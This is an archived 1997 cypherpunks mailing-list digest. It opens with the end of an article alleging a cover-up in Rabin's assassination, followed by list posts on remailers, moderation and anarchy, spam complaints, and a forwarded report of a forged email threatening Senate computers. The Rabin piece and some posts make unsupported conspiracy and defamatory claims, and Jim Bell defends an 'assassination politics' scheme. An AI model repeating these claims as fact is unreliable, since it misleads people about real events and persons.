said, the only way the door could be shut was if someone was inside the car
shutting it. This would be in contradiction of the Shamgar report which has
Rabin and Rubin entering an empty car. Channel Two saved my dignity by
saying the door was shut by the vibrations caused by Rabin's entrance.
Throughout the country, people opened their back car doors and started
shaking their vehicles. Nothing could make their doors shut. Further,
Rabin's door was armoured and weighed several hundred more pounds than the
average car door. Add to the facts that the open front door of Rabin's car
did not shut with the back, nor is any shaking of the vehicle in evidence on
the film and you have someone, perhaps the real murderer, waiting for Rabin
inside the car.
>
>Now the testimony of Yoram Rubin, Rabin's head of personal security. On
November 8, 1995 he was quoted as saying in the New York Times that Rabin's
last words to him in the car were that he was hurt but not seriously. Let's
look what he told the police on the night of the murder and later testified
to the Shamgar Commission and at Yigal Amir's trial.
>
>Rubin to the Police from 1:07 AM, Nov. 5, 1995:"I lifted the prime minister
and pushed him into the car."
>To the Shamgar Commission:"He (Rabin) helped me get up. That is to say, we
worked together...We jumped, really jumped. I'm surprised, in retrospect,
that a man his age could jump like that." 
>At Amir's trial: "I grabbed him by his shoulders and asked him, `Yitzhak,
do you hear me, only me?"  In this version Rabin did not answer at all. In
previous versions he said he wasn't hurt badly or actually helped Rubin to
his feet.
>
>Perhaps the most confusing piece of testimony concerns the critical moments
when he enters the car with Rabin. The assassination film shows the opposite
back passenger door being closed from the inside and the other back door
being pushed closed from the outside. Yet Rubin testifies,"We fell onto the
seat together and I slipped between the front and back seat. His legs and
mine were dangling outside as I yelled to the driver,`Get out of here.' He
started driving and I lifted his (Rabin's) and my legs inside and closed the
door. This all took 2-3 seconds."
>
>A most curious incident occurs on the way to Ichilov Hospital, normally
less than a minute's drive from the supposed murder site. The trip took from
9:45 to 9:53. With a minute and a half driving time to go, Rabin's driver
Menachem Damti picks up a policeman, Pinchas Terem, to help direct him to
the hospital. Damti, an experienced driver needed no help in finding Ichilov
but even that isn't the main point. With the prime minister dying beside
him, the altruistic Yoram Rubin says to the new passenger, "I'm wounded.
Bandage me." As for Rabin, we can only guess he didn't care that his wounds
needed much more urgent attention. Terem completed his bizarre testimony by
noting that Damti did not notify Ichilov by radio that he was coming and
thus the hospital staff was totally unprepared for Rabin's arrival.
>
>One conclusion of many that can be reached from the testimony of all the
witnesses is that Rabin was unhurt by Amir's blank bullets and was shot
inside the car. Rubin took a harmless arm wound to cover his role in the
event and Damti picked up a policeman as a witness in case of future
disbelief.
>
>If this scenario or something more insidious is not to be given credence,
all the contradictory testimony will have to properly sorted out at an
honest commission of inquiry. And this hypothetical commission will have to
answer how the back passenger door of Rabin's car really closed as he
entered the vehicle.
--------------------------------------------
Sent by Barry Chamish - Israeli journalist.
Phone/Fax : (972)-2-9914936
E-Mail    : chamish@netmedia.net.il
************************************************************ 
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anyways.)  Right down the day, month, year, and time of the
end of the world, and, as a tie-breaker, your nominee for the
anti-Christ.  The winner will receive a t-shirt stating, "I Came
Closest To Predicting The Apocalypse, And All I Got Was 
This Crummy T-Shirt."  You will also receive a free one 
year supply of Twix candy bars. 

Also, this is a free magazine, but we'll still take your 
money if you want.  Please send cash, check, money orders, 
and credit card numbers (Visa, Master Card, American 
Express, or Discover) to: 
 
Robert Sterling 
Post Office Box 24825 
Los Angeles, California 90024-0825





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <2ndSun@bigfoot.com>
Date: Tue, 11 Feb 1997 06:11:53 -0800 (PST)
To: Alan Olsen <das@razor.engr.sgi.com>
Subject: Re: Enlightened commentary on Netizen.
Message-ID: <199702111411.GAA19372@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I have no idea why I received the below message.  I don't know any of the
people in it, and I don't care about the issue.

----------
> From: Alan Olsen <alan@ctrl-alt-del.com>
> To: Anil Das <das@razor.engr.sgi.com>
> Cc: cypherpunks@toad.com
> Subject: Re: Enlightened commentary on Netizen.
> Date: Saturday, February 08, 1997 10:55 AM
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 08:41 PM 2/6/97 -0800, Anil Das wrote:
> 
> >    However, the question has to be asked, why the fuck should we non US
> citizens go and buy
> >    cryptographic software that is deliberately coded to allow the US
> government to read our mail? 
> 
> You shouldn't.
> 
> Maybe someone should print up a batch of "Voyeur Enabled" stickers for
all
> the GAKed products  (or should that be KRAP products, since it is the Key
> Recovery Alliance, but that is redundant) we will be seeing at our local
> software stores.
> 
> Sometimes I think the reason for all this snake oil we have been seeing
is
> the Feds need it for extra lubricant so they don't chafe themselves while
> getting off on reading our mail.
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 4.5
> 
> iQEVAwUBMvyv1+QCP3v30CeZAQEGigf+PA45Q2ySEZ6iLwc8+fRURvXJRinStWwy
> oNGWKDnyYHFJ91L8Z+11oKvMov45CC4MOISy36/Oz2CY9qyq8l5L1wTU7J8CezsS
> 3QezDreJtUXr/OCmxRngOQbeHuGDkXuIocfTV7sZU/j7ARWj9hKCd39xf6J/MmZ6
> zjKS7olJmzMMyJrAWaNo5zaW4g/ER8wJiI0zbakvrd/8Y+VJkiTN05znbIfLiOTV
> 0Olt/OaX4seWWNwZb5FaPv2y8ST3j+xm4Uv6fdc4Qo8QGWnGpuBAKo0D+q39KNkY
> Ps47vKyf2VwQM6Ci49/uuU8um/l9TmDsuHkYYmsoDfsGpcZImEWzZw==
> =Prg6
> -----END PGP SIGNATURE-----
> 
> ---
> |            "Mi Tio es infermo, pero la carretera es verde!"           
|
> |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:        
|
> | mankind free in one-key-steganography-privacy!"  | Ignore the man     
|
> |`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the
keyboard.|
> |         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <2ndSun@bigfoot.com>
Date: Tue, 11 Feb 1997 06:12:09 -0800 (PST)
To: "Mark M." <cypherpunks@toad.com
Subject: Re: anonymous remailers
Message-ID: <199702111412.GAA19413@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I don't know what you're talking about.  Who is "cypherpunks," and who are
you?  Please don't answer...I'm just trying to figure out how I started
getting these wierd e-mails from people I never heard about discussing
something I never cared about.  

I truly want you to have a great life...but please leave me out of it.

----------
> From: Mark M. <markm@voicenet.com>
> To: cypherpunks@toad.com
> Subject: Re: anonymous remailers
> Date: Saturday, February 08, 1997 11:11 AM
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Sat, 8 Feb 1997, Jeremiah A Blatz wrote:
> 
> > Ummm, if you run your own remailer, and don't get lots of people to
> > use it, then traffic analysis will reveal that you are the sender
> > quite quickly. It will pretty much make everything in the chain before
> > your remiler useless. If you send your message through remailers a, b,
> > c, and d like this:
> > 
> > you -> a -> b -> c -> d -> alt.drugs.and-other-various-horsemen
> > 
> > and only you use c, then your effective chain is:
> > 
> > someone who could only be you -> d ->
alt.drugs.and-other-various-horsemen
> 
> This is assuming that it is a reasonable assumption that all traffic
going
> through remailer c originated from the owner.  If there is one
non-corrupt
> remailer in the chain before c, then this would not be a valid assumption
> because traffic from the owner would be indistinguishable from traffic
sent
> by anyone else.  If the remailer has low traffic, the solution is, of
course,
> to make it higher traffic.  Chain a bunch of messages that get sent to
> /dev/null through the remailers, being sure to include c somewhere in the
> middle of the chain.  If Mixmaster is used, then it would be virtually
> impossible to differentiate between "real" messages and messages destined
for
> /dev/null.  It would be a little easier with Type I since the size of the
> ciphertext decreases after each hop.  This all assumes that encryption is
being
> used, of course.
> 
> 
> Mark
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3
> Charset: noconv
> 
> iQEVAwUBMvyzcCzIPc7jvyFpAQHRpQf+LusfAS8dhDczpYTHGjgIRo38gPHeDdVn
> +qmmikRNravoEiPD9GIrZ4OeYKOs6zykvhWuMoTtsVi/a7p1HZyWzl5A5KkxofUv
> nLOUoPriQ9Ps8fzc3B31G5nwj5d6Es7nnfZbGk1dV5KS5bN7fyu9umBeFiW7jNcj
> eTf8GmFH7Rxi5aoUc0uMMR/YffMNl0fHo+wooPNnTBMppLouTIr9iQdCxDOJ7eJc
> QAFyEXYWtRP8AqrnB0/pVAXUtrnui+Ev1waOkMYKbWuiQ8tkHbLAvcmpAVnD67jX
> 4f3ZQkhXG6C4VbYF3fTlL0ujZgRal0csG0X4u6x/5ID4Blle9hwtIQ==
> =BqMW
> -----END PGP SIGNATURE-----
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <2ndSun@bigfoot.com>
Date: Tue, 11 Feb 1997 06:12:11 -0800 (PST)
To: Dale Thorn <cypherpunks@toad.com
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111412.GAA19423@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Ok...this is the fourth junk e-mail I've received that I don't want.  Your
account is in jeapordy, and my advice is for you to just stop sending me
this junk.  Take me off your e-mail list, NOW.  
If this e-mail from me, being mad at you, is what makes you happy, and is
how you have fun, then you just have a personal problem and I feel sorry
for you.  
Do what you can to heal yourself...meanwhile, don't send me anymore...your
isp provider is next on my e-mail list.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: freedom-knights@jetcafe.org; cypherpunks@toad.com
> Cc: Against Moderation <antimod@nym.alias.net>; InterNet Freedom Council
<ifc@pgh.org>
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 10:54 AM
> 
> ??? wrote:
> 
> [some text deleted]
> 
> > > Before I explain what has happened, I want to make one thing
> > > absolutely clear.  Though I've thought the moderation of cypherpunks
> > > was a terrible idea from the start and am even more convinced of it
> > > now, I don't assign any blame to Sandy.  I believe he offered to
> > > moderate the list with the best of intentions, and I sincerely
> > > appreciate his efforts to try to revive what was once a fantastic
> > > mailing list, even if in my opinion those efforts have backfired.
> 
> This is the fatal mistake, assuming it's really a mistake.
> I've worked under several corporations where, at a certain
> point in time, things just "went crazy", and the owners/
> managers were scrambling desperately to plug as many holes
> in the dike as they possibly could, to no avail.
> 
> People don't understand why things just "go crazy" at a particular
> point, and so they accept the coincidence theory ruse, lacking any
> other evidence.  Use your head, folks.  This is not a list made up
> of sewing-circle nannies, these are security people, NSA, CIA, and
> all the ugly things you shut out of your conversations because you
> don't want to admit the truth.  "Paranoia is a way of knowing".
> 
> Today I saw an old picture of Albert Einstein in full Indian regalia,
> smoking a peace pipe with some Hopi people.  I thought of the Capone
> mob and the "kiss of death", or Judas and Jesus, you get the picture.
> 
> So Einstein puts his name and reputation and personal seal of approval
> on the creation of the Doomsday Device, the atom bomb, knowing full
> well that it will be used to murder millions of people. What does he
> do for an encore?  Plants the "kiss of death" on the Hopis, whose
> environment is co-opted by the mad bombers and their Nazi-infested
> thug "scientist" cohorts, for the experimentation and storage of
> nuclear and other hazardous materials.  You know, Nevada, Arizona,
> New Mexico, all those "useless, desert lands" occupied by the
> Indians.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <2ndSun@bigfoot.com>
Date: Tue, 11 Feb 1997 06:11:29 -0800 (PST)
To: Dale Thorn <cypherpunks@toad.com
Subject: Re: Internet Alert! Pay for local dial-up??
Message-ID: <199702111411.GAA19287@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Take me off your list or I will complain to your isp.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: freedom-knights@jetcafe.org; cypherpunks@toad.com
> Cc: E-Mail Communications <freedom@econopromo.com>
> Subject: Re: Internet Alert! Pay for local dial-up??
> Date: Saturday, February 08, 1997 11:09 AM
> 
> E-Mail Communications wrote:
> 
> > See our "Patriotic Quotes That Make Sense"
> > at the end of this publication.
> 
> > "We will always remember.  We will always be proud.  We will
> > always be prepared, so we may always be free."
> > -- President Ronald W. Reagan  June 6, 1984 -  Normandy, France
> 
> What Ronald Reagan didn't say (but what he really meant):
> 
> "I come here to Bitburg to honor the fallen Nazis, because I am in
> fact an honorary Nazi myself. Just ask my personal secretary Helen,
> who used to work for Fritz Kraemer."
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <2ndSun@bigfoot.com>
Date: Tue, 11 Feb 1997 06:10:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Junk e-mails
Message-ID: <199702111410.GAA19177@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm receiving a bunch of inane e-mails from your domain.   Could you please
put a stop to it?  It's coming to all of my e-mail addresses, including the
one below.
2ndSun@bigfoot.com-------------------------------------------------
---------------------------------------Learning to Remember
the Future---http://www.geocities.com/HotSprings/5335






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 06:11:29 -0800 (PST)
To: Jerry Basham <2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111411.GAA19288@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jerry Basham wrote:

> Ok...this is the fourth junk e-mail I've received that I don't want.  Your
> account is in jeapordy, and my advice is for you to just stop sending me
> this junk.  Take me off your e-mail list, NOW.
> If this e-mail from me, being mad at you, is what makes you happy, and is
> how you have fun, then you just have a personal problem and I feel sorry
> for you.
> Do what you can to heal yourself...meanwhile, don't send me anymore...your
> isp provider is next on my e-mail list.

Jerry, my provider is GTE, and if you think you can make a dent in
them, go ahead and butt your head against the wall.  No sweat offa
my ass.

OTOH, if you stop bitching and groaning long enough to figure out
who is doing the remailing etc., then you'll be miles ahead.  I'm
not optimistic.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: IconOfSin <ios@idirect.com>
Date: Tue, 11 Feb 1997 06:11:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fw: Internet Alert! Pay for local dial-up??
Message-ID: <199702111411.GAA19295@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	

----------
> From: E-Mail Communications <freedom@econopromo.com>
> To: you@alberta.sallynet.com
> Subject: Internet  Alert!    Pay for local dial-up??
> Date: Saturday, February 08, 1997 7:09 PM
> 
> 
> *****************************************
> 
> INTERNET USERS ALERT!!!   It has come to our attention that several
> local telephone companies have petitioned the FCC for permission
> to charge Internet Users by the minute for  LOCAL  dial-up telephone 
> service.  This would affect every Internet User, including those
> using AOL dial-up. 
> 
> For more information,  see the FCC site: http://www.fcc.gov/isp.htm.  
> Please send an E-Mail to  isp@fcc.gov
> to express your outrage at the idea of allowing telephone companies
> to charge by the minute for LOCAL dial-up service.  E-Mail comments
> must be sent by Feb. 13th, 1997.  This affects every Internet user!!

The question is.... "what can *WE* do.

IconOfSin

Fly DALnet!  /server irc.dal.net 7000
Msg IconOfSin :)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 11 Feb 1997 06:12:15 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702111412.GAA19434@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:35 AM 2/6/97 -0600, snow wrote:
>> At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:
>> >on or about 970204:0312 Greg Broiles <gbroiles@netbox.com> said:
>> >+   Is the desire for an anarchic community at odds with a desire for 
>> >+   good use of resources?
>> Actually, it is quite possible that an "anarchic community" is _more_ 
>> efficient in the use of resources than some sort of organized community.    
>> It is explained, for example, that the reason there are so many different 
>> kinds of life on earth is that there are so many ecological niches to 
fill.  
>
>     Good does not necessarily mean efficient, and efficient does not
>necessarily mean good. 

Since the definition of "good" above wasn't specified, I substituted 
"efficient."


>    Picture--if you can--the "perfect" centrally planned economy where all
>possible market conditions, wants and needs are taken into account. Factories
>are placed optimally for access to natural resources and distribution to 
>consumers etc. Also assume that the people running this society _are_ 
intersted
>in efficient production methods, and activly look for new and better ways of 
>getting things done--benign facism/socialism if you will. This would 
(assuming 
>perfect people, but bear with me) be the _most efficient_ method of producing 
>and delivering goods, but it would introduce certain "choke points", one 
>natural disaster or war could cripple production of necessary items. 

Let me suggest, however, that in addition to the "choke point" problem, it 
is also impossible, maybe even theoretically so, for a similar reason 
"Maxwell's Demon" is.

Maxwell's Demon, for those unfamiliar with thermodynamics, was a gate which 
was postulated to allow the passage of molecules of energy greater than 
average, and stop the passage of molecules of energy less than average.  The 
net result would have been, theoretically, a separation of a gas into two 
halves of dramatically different temperatures.

However, given such a heat separation, it should be possible through some 
heat engine to extract energy from this difference, and return the  gas to 
its prior statistical distribution of energies.  Was this "something from 
nothing"?

Obviously this appeared to be a serious contradiction, given the various 
laws of thermodynamics, and it was.  It turns out that the source of the 
contradiction is the false presumption, implied above, that it is possible 
to identify and thus separate molecules without using appreciable amounts of 
energy.  Perhaps not surprisingly, the amount of energy needed to do the 
separation is at least as great as whatever amount of energy you could 
theoretically extract from the system, almost magically balancing the books.

I suggest that centrally-planned economic theory may fail for a very similar 
reason:  Implicit in that analysis it is assume that it is possible to do a 
"cost-free" plan, where in reality costs do occur.

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 11 Feb 1997 06:10:54 -0800 (PST)
To: sandfort@crl.com
Subject: Re: MODERATION
Message-ID: <199702111410.GAA19191@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	While I ultimately concluded it (or at least the manner of doing it)
was a bad idea, I am appreciative of the effort. I hope this won't discourage
you too much from trying out other (hopefully better) ideas.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omega@jolietjake.com>
Date: Tue, 11 Feb 1997 06:12:23 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702111412.GAA19459@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


In article <199702051706.JAA01075@toad.com> "Attila T. Hun" <attila@primenet.com> writes:

   From: "Attila T. Hun" <attila@primenet.com>
   Date: Wed, 05 Feb 97 14:41:32 +0000
   X-From-Line: attila@primenet.com  Thu Feb  6 15:02:07 1997
   X-VM-v5-Data: ([nil t nil nil nil nil nil nil nil]
	   ["2456" "Wed" "5" "February" "1997" "14:41:32" "+0000" "Attila T. Hun" "attila@primenet.com" "<199702051706.JAA01075@toad.com>" "57" "Re: John's: In anarchy -everyone responsible" nil nil nil "2" "1997020514:41:32" "John's: In anarchy -everyone responsible" (number " " mark "U    Attila T. Hun     Feb  5   57/2456  " thread-indent "\"Re: John's: In anarchy -everyone responsible\"\n") nil]
	   nil)
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk
   Lines: 57
   X-Gnus-Article-Number: 23   Fri Feb  7 00:40:14 1997

   -----BEGIN PGP SIGNED MESSAGE-----

   on or about 970204:2343 jim bell <jimbell@pacifier.com> said:

   +At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:

   +>        In a "popular" anarchy, Jim Bell's assassination politics make
   +>    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

   +I guess I don't understand the distinction you are trying to make,
   +between a  "popular anarchy" and an "anarchy."    Maybe you were trying
   +to distinguish  between "dictatorship of the few (or one)" and
   +"dictatorship of the many (perhaps a  majority)" but it didn't come out
   +very understandably.

   +Put simply, "anarchy is not the lack of order.  It is the lack of
   +_orders_."

       disagree. pure anarchy is not the lack of "orders" --pure anarchy 
       implies that everyone is imbued with that perfect sense of 
       responsibility.

   +>        anarchy is only possible in an ideal world where _everyone_ 
   +>    assumes not only responsibility for themselves, but for the common 
   +>    good.  no malice, no greed, no need for assassination politics....

   +No, that's traditional thinking and that's wrong.  See AP part 8. 
   +Freud  believed (as "everyone" else believed, even myself, before AP)
   +that anarchy  was inherently unstable.  But it ISN'T, if the tools of
   +AP are used to  stabilize it.  And no, no altruism is necessary for AP
   +to work as well; no  individuals are being asked to sacrifice
   +themselves for the common good.    Rather, they are given the
   +opportunity to work to achieve a reward offered,  cumulatively, by a
   +number of citizens.

       aah, but that is the difference between a _pure_ anarchy and a  
       _popular_ anarchy.  A pure _anarchy_ is sufficiently idealistic in 
       that _noone_ lacks the necessary resonsibility to keep society 
       moving, each individual in their own niche.  As long as there is 
       perfect responsibility in a perfect anarchy, then there is no need 
       for AP.

       AP is a negative, or _punative_, influence; I might liken it to the 
       Catholic Church which is a religion of fear, and an instrument of
       political control.

   -----BEGIN PGP SIGNATURE-----
   Version: 2.6.3i
   Charset: latin1
   Comment: No safety this side of the grave. Never was; never will be

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   rEyAlOrmi8NOxgyb8hGF/VwVkURUKnPr4gGJW9JvwuPB2x/AQeT11ZEQyVqeFGNF
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   =sfD3
   -----END PGP SIGNATURE-----



-- 
_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com><omega@bigeasy.com) 
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phil Agre <pagre@weber.ucsd.edu>
Date: Tue, 11 Feb 1997 06:10:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: RRE: Proposed satellite monitoring of car movements in Sweden
Message-ID: <199702111410.GAA19204@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


You have plenty of choice.  If you don't like our country, move somewhere
else.

Phil





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Tue, 11 Feb 1997 06:12:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702111412.GAA19466@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


NEW ATTACK ON CP LIST


>Date: Sun, 9 Feb 1997 03:55:04 -0500
>From: Linda Thompson <lindat@iquest.net>
>To: robert@iquest.net
>Cc: aen-news@aen.org
>Subject: URGENT
>
>Someone is sending THREATS to the President and Senate and using *MY*
>name
>and account to do it.  One bounced and was sent to me.  You should be
>able
>to find out where it came from by the message I.D.  I think it is
>EXTREMELY
>important that you find out where this came from!!
>
>Also, earlier in the day, I got a message that I was subscribed by
>"majordomo" to cypherpunks.  I did NOT subscribe to cypherpunks and I
>would
>bet that whoever did THAT also sent this message.
>
>Here's the threat message:
>
>Return-Path: <MAILER-DAEMON@fcaglp.fcaglp.unlp.edu.ar>
>Delivered-To: lindat@iquest.net
>Received: (qmail 29848 invoked from network); 9 Feb 1997 02:51:40 -0000
>Received: from fcaglp.fcaglp.unlp.edu.ar (163.10.4.1)
>  by iquest3.iquest.net with SMTP; 9 Feb 1997 02:51:40 -0000
>Received: by fcaglp.fcaglp.unlp.edu.ar
>	(1.38.193.4/16.2) id AI19659; Sat, 8 Feb 1997 23:49:27 -0300
>Message-Id: <9702090249.AI19659@fcaglp.fcaglp.unlp.edu.ar>
>Date: Sat, 8 Feb 1997 05:12:37 -0300
>From: MAILER-DAEMON@fcaglp.fcaglp.unlp.edu.ar (Mail Delivery Subsystem)
>Subject: Returned mail: User unknown
>To: lindat@iquest.net
>X-UIDL: 85c7fe8ecdc2605eb6bc80bfa71b223e
>Status: U
>
>   ----- Transcript of session follows -----
>550 xfAA16374: line 6: vice-president@whitehouse.gov... User unknown
>
>   ----- Unsent message follows -----
>Received: from echotech.com by fcaglp.fcaglp.unlp.edu.ar with SMTP
>	(1.38.193.4/16.2) id AA16374; Sat, 8 Feb 1997 05:12:37 -0300
>Message-Id: <9702080812.AA16374@fcaglp.fcaglp.unlp.edu.ar>
>Date: Sat, 8 Feb 1997 05:12:37 -0300
>From: lindat@iquest.net
>Return-Path: <lindat@iquest.net>
>Cc: Senator_Stevens@stevens.senate.gov, email@murkowski.senate.gov,
>        sessions@wrldnet.net, senator@shelby.senate.gov,
>        senator@bumpers.senate.gov, info@kyl.senate.gov,
>        Senator_McCain@mccain.senate.gov, senator@boxer.senate.gov,
>        senator@feinstein.senate.gov, sen_dodd@dodd.senate.gov,
>        senator_lieberman@lieberman.senate.gov, senator@biden.senate.gov,
>        bob_graham@graham.senate.gov, connie@mack.senate.gov,
>        senator_coverdell@coverdell.senate.gov,
>senator@inouye.senate.gov,
>        tom_harkin@harkin.senate.gov, chuck_grassley@grassley.senate.gov,
>        larry_craig@craig.senate.gov,
>dirk_kempthorne@kempthorne.senate.gov
>Cc: senator@moseley-braun.senate.gov, lugar@iquest.net,
>        wendell_ford@ford.senate.gov, senator@mcconnell.senate.gov,
>        senator@breaux.senate.gov, senator@kennedy.senate.gov,
>        john_kerry@kerry.senate.gov, senator@mikulski.senate.gov,
>        senator@sarbanes.senate.gov, Olympia@snowe.senate.gov,
>        senator@levin.senate.gov, michigan@abraham.senate.gov,
>        mail_grams@grams.senate.gov, senator@wellstone.senate.gov,
>        john_ashcroft@ashcroft.senate.gov, kit_bond@bond.senate.gov,
>        senator@cochran.senate.gov, max@baucus.senate.gov,
>        conrad_burns@burns.senate.gov, senator@faircloth.senate.gov,
>        jesse_helms@helms.senate.gov
>Cc: senator@conrad.senate.gov, senator@dorgan.senate.gov,
>email@hagel96.com,
>        bob@kerrey.senate.gov, mailbox@gregg.senate.gov,
>        opinion@smith.senate.gov, frank_lautenberg@lautenberg.senate.gov,
>        torricel@torricelli.com, Senator_Bingaman@bingaman.senate.gov,
>        senator_domenici@domenici.senate.gov, senator@bryan.senate.gov,
>        senator_reid@reid.senate.gov, senator_al@damato.senate.gov,
>        senator@dpm.senate.gov, senator_dewine@dewine.senate.gov,
>        senator_glenn@glenn.senate.gov, senator@nickles.senate.gov,
>        senator@wyden.senate.gov, senator@santorum.senate.gov,
>        senator_specter@specter.senate.gov,
>senator_chafee@chafee.senate.gov
>Cc: reed@collegehill.com, senator@thurmond.senate.gov,
>        senator@hollings.senate.gov, tom_daschle@daschle.senate.gov,
>        senator_thompson@thompson.senate.gov,
>senator_frist@frist.senate.gov,
>        senator@hutchison.senate.gov, senator@bennett.senate.gov,
>        senator_hatch@hatch.senate.gov, senator_robb@robb.senate.gov,
>        senator@warner.senate.gov, senator_leahy@leahy.senate.gov,
>        vermont@jeffords.senate.gov, senator_murray@murray.senate.gov,
>        Senator_Gorton@gorton.senate.gov,
>russell_feingold@feingold.senate.gov,
>        senator_kohl@kohl.senate.gov, senator_byrd@byrd.senate.gov,
>        senator@rockefeller.senate.gov, mike@enzi.senate.gov,
>        craig@thomas.senate.gov
>Reply-To: lindat@iquest.net
>Return-Receipt-To: lindat@iquest.net
>Comment: Authenticated sender is <lindat@iquest.net>
>Subject: message to USSA Senate
>
>All files on the Senate's computers will be deleted by our
>gang of cypherpunks dedicated to the eradication of your systems.
>
>
>============================================
>
>Here's the message I got from the Cypherpunks list:
>
>Return-Path: <Majordomo-Owner@toad.com>
>Delivered-To: lindat@iquest.net
>Received: (qmail 12722 invoked from network); 8 Feb 1997 20:33:18 -0000
>Received: from toad.com (140.174.2.1)
>  by iquest3.iquest.net with SMTP; 8 Feb 1997 20:33:17 -0000
>Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
>MAA01758;
>Sat, 8 Feb 1997 12:09:56 -0800 (PST)
>Date: Sat, 8 Feb 1997 12:09:56 -0800 (PST)
>Message-Id: <199702082009.MAA01758@toad.com>
>To: lindat@iquest.net
>From: Majordomo@toad.com
>Subject: Your Majordomo request results: subscribe cypherpunks
>Reply-To: Majordomo@toad.com
>X-UIDL: 52470737060e1f8e3e1776eae6a3d6ee
>
>--
>
>Your request of Majordomo was:
>>>>> subscribe cypherpunks
>Succeeded.
>Your request of Majordomo was:
>>>>> 
>Your request of Majordomo was:
>>>>> 
>
>
>
>Kind regards,
>
>Linda Thompson
>
>********************  V  ***************************
>  DEATH TO THE NEW WORLD ORDER 
>***************************************************
>Dr. Linda Thompson
>Attorney at Law
>TERRORISM INTELLIGENCE ANALYST
>Chairman, American Justice Federation
>Internet:  lindat@iquest.net
>
>****************************************************
>       Remember Waco.
>  The Murderers are still free.
>**************************************************** 
>Have you seen this yet?
>
>    http://206.55.8.10/SkyWriter/WacoMuseum









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 06:26:00 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: MODERATION
Message-ID: <199702111426.GAA19721@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


E. Allen Smith wrote:
> While I ultimately concluded it (or at least the manner of doing it)
> was a bad idea, I am appreciative of the effort. I hope this won't discourage
> you too much from trying out other (hopefully better) ideas.

Great idea, Allen.  The fox only ate *some* of the chickens first
time around, but let's train the fox a little, and then throw him
into the chicken coop for round two.  Like, fer sure.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Tue, 11 Feb 1997 06:10:59 -0800 (PST)
To: Phil Agre <pagre@weber.ucsd.edu>
Subject: Re: RRE: Proposed satellite monitoring of car movements in Sweden
Message-ID: <199702111410.GAA19213@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Love it or leave it?"

bd

On Sun, 9 Feb 1997, Phil Agre wrote:

> You have plenty of choice.  If you don't like our country, move somewhere
> else.
> 
> Phil
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP-TV Main Contact <isptv@access.digex.net>
Date: Tue, 11 Feb 1997 06:26:14 -0800 (PST)
Subject: Ken Bass Interview Schedule Corrections
Message-ID: <199702111426.GAA19767@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


*** ISP-TV Schedule Correction ***

